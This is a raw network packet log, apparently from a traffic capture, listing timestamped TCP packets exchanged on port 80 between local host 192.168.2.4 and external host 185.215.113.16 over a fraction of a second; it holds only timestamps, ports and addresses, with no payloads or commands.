Dec 18, 2024 17:08:34.980726957 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.982652903 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.982661963 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.982702971 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.984251976 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.984262943 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.984277964 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.984328985 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.986164093 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.987006903 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.987190008 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.987210035 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.987246990 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.989038944 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.989089966 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.989104033 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.989129066 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.991102934 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.991113901 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.991148949 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.991167068 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.993177891 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.993187904 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.993196011 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.993231058 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.993263006 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.995085955 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.995095968 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.995157003 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.997210979 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.997220993 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.997267962 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.999080896 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.999103069 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.999161005 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.001163960 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.001173019 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.001198053 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.001221895 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.001259089 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.003153086 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.003170967 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.003284931 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.005187035 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.005225897 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.005280972 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.007266998 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.007277012 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.007330894 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.009315014 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.009325027 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.009367943 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.011324883 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.011333942 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.011343002 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.011379004 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.011398077 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.013212919 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.013223886 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.013267040 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.014810085 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.014820099 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.014869928 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.016710997 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.016727924 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.016766071 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.018735886 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.018745899 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.018764019 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.018793106 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.018830061 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.021217108 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.021225929 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.021280050 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.023566961 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.023576975 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.023622990 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.025350094 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.025358915 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.025365114 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.025407076 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.027431965 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.027441978 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.027507067 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.029325008 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.029335022 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.029349089 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.029386044 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.029402018 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.031186104 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.031259060 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.032139063 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.032146931 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.032202005 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.034200907 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.034209967 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.034260035 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.036721945 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.036731005 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.036798000 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.038378000 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.038388014 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.038434029 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.039798975 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.039808989 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.039817095 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.039856911 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.041755915 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.041764975 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.041809082 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.043143034 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.043153048 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.043209076 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.044888973 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.044898987 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.044961929 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.046668053 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.046679020 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.046685934 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.046725988 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.048892975 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.048924923 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.048930883 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.048974037 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.049418926 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.050955057 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.050965071 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.051018953 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.052769899 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.052779913 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.052820921 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.054373980 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.054383039 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.054398060 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.054441929 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.056035995 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.056046009 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.056090117 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.057975054 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.057984114 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.058037996 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.059750080 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.059760094 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.059811115 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.061603069 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.061647892 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.061697960 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.063553095 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.063563108 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.063577890 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.063621044 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.063646078 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.065761089 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.065797091 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.065856934 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.067430973 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.067440033 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.067493916 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.069219112 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.069227934 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.069272041 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.071247101 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.071264029 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.071273088 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.071331978 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.073359013 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.074470997 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.074480057 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.074528933 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.076463938 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.076472998 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.076531887 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.078433990 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.078443050 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.078511000 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.079725981 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.079735994 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.079751015 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.079782009 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.079814911 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.081684113 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.081701040 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.081752062 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.083223104 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.083231926 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.083240032 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.083287001 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.084950924 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.084960938 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.085011959 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.086844921 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.086854935 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.086999893 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.088323116 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.088332891 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.088383913 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.090398073 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.090406895 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.090449095 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.092264891 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.092274904 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.092289925 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.092375040 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.092375040 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.094244957 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.094273090 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.094317913 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.096097946 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.096107960 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.096164942 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.097683907 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.097693920 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.097737074 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.099392891 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.099401951 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.099438906 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.099508047 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.101325989 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.101336002 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.101342916 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.101376057 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.102912903 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.102922916 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.102961063 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.104759932 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.104768038 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.104821920 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.106456041 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.106465101 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.106513977 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.108304977 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.108315945 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.108362913 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.110080957 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.110100031 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.110115051 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.110161066 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.110188007 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.112155914 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.112164974 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.112211943 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.114325047 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.114492893 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.115292072 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.115335941 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.115345955 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.115365028 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.115377903 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.117391109 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.117410898 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.117465019 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.119342089 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.119350910 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.119390965 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.120914936 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.120923996 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.120939016 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.120996952 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.122533083 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.122543097 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.122597933 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.124263048 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.124273062 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.124325991 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.125890017 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.125900030 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.125941038 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.127559900 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.127571106 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.127585888 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.127640963 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.127657890 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.129277945 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.129287958 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.129348040 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.131051064 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.131061077 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.131115913 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.178266048 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.178729057 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.178980112 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.179328918 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.179375887 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.180062056 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.180748940 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.180799961 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.182280064 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.182290077 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.182298899 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.182329893 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.182357073 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.183892965 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.183903933 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.183942080 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.185425043 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.185434103 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.185506105 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.187088013 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.187107086 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.187166929 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.188668013 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.188678026 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.188735962 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.190083981 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.190094948 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.190150976 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.191411018 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.191421986 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.191437006 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.191488981 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.191519022 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.192807913 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.192831993 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.192861080 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.192884922 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.194425106 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.194442034 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.194510937 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.196103096 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.196113110 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.196173906 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.197676897 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.197685957 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.197745085 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.199421883 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.199440956 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.199454069 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.199523926 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.201188087 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.201208115 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.201261997 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.202898026 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.202908993 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.202961922 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.204498053 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.204518080 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.204552889 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.204576969 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.206163883 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.206173897 CET	80	49800	185.215.113.16	192.168.2.4
